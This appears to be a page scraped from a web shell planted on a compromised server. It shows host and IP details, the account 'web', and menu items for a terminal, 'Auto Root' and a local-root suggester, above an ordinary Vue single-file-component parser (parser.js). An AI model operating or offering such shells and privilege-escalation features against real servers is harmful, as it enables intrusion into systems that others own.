Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.135.201.190
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp-musonza /
node_modules /
vue /
src /
sfc /
Delete
Unzip
Name
Size
Permission
Date
Action
parser.js
2.85
KB
-rw-r--r--
1985-10-26 08:15
Save
Rename
/* @flow */ import deindent from 'de-indent' import { parseHTML } from 'compiler/parser/html-parser' import { makeMap } from 'shared/util' const splitRE = /\r?\n/g const replaceRE = /./g const isSpecialTag = makeMap('script,style,template', true) type Attribute = { name: string, value: string }; /** * Parse a single-file component (*.vue) file into an SFC Descriptor Object. */ export function parseComponent ( content: string, options?: Object = {} ): SFCDescriptor { const sfc: SFCDescriptor = { template: null, script: null, styles: [], customBlocks: [] } let depth = 0 let currentBlock: ?SFCBlock = null function start ( tag: string, attrs: Array<Attribute>, unary: boolean, start: number, end: number ) { if (depth === 0) { currentBlock = { type: tag, content: '', start: end, attrs: attrs.reduce((cumulated, { name, value }) => { cumulated[name] = value || true return cumulated }, {}) } if (isSpecialTag(tag)) { checkAttrs(currentBlock, attrs) if (tag === 'style') { sfc.styles.push(currentBlock) } else { sfc[tag] = currentBlock } } else { // custom blocks sfc.customBlocks.push(currentBlock) } } if (!unary) { depth++ } } function checkAttrs (block: SFCBlock, attrs: Array<Attribute>) { for (let i = 0; i < attrs.length; i++) { const attr = attrs[i] if (attr.name === 'lang') { block.lang = attr.value } if (attr.name === 'scoped') { block.scoped = true } if (attr.name === 'module') { block.module = attr.value || true } if (attr.name === 'src') { block.src = attr.value } } } function end (tag: string, start: number) { if (depth === 1 && currentBlock) { currentBlock.end = start let text = content.slice(currentBlock.start, currentBlock.end) // pad content so that linters and pre-processors can output correct // line numbers in errors and warnings if (options.pad) { text = padContent(currentBlock, options.pad) + text } else { // avoid to deindent if pad option is specified // to retain original source position. text = deindent(text) } currentBlock.content = text currentBlock = null } depth-- } function padContent (block: SFCBlock, pad: true | "line" | "space") { if (pad === 'space') { return content.slice(0, block.start).replace(replaceRE, ' ') } else { const offset = content.slice(0, block.start).split(splitRE).length const padChar = block.type === 'script' && !block.lang ? '//\n' : '\n' return Array(offset).join(padChar) } } parseHTML(content, { start, end }) return sfc }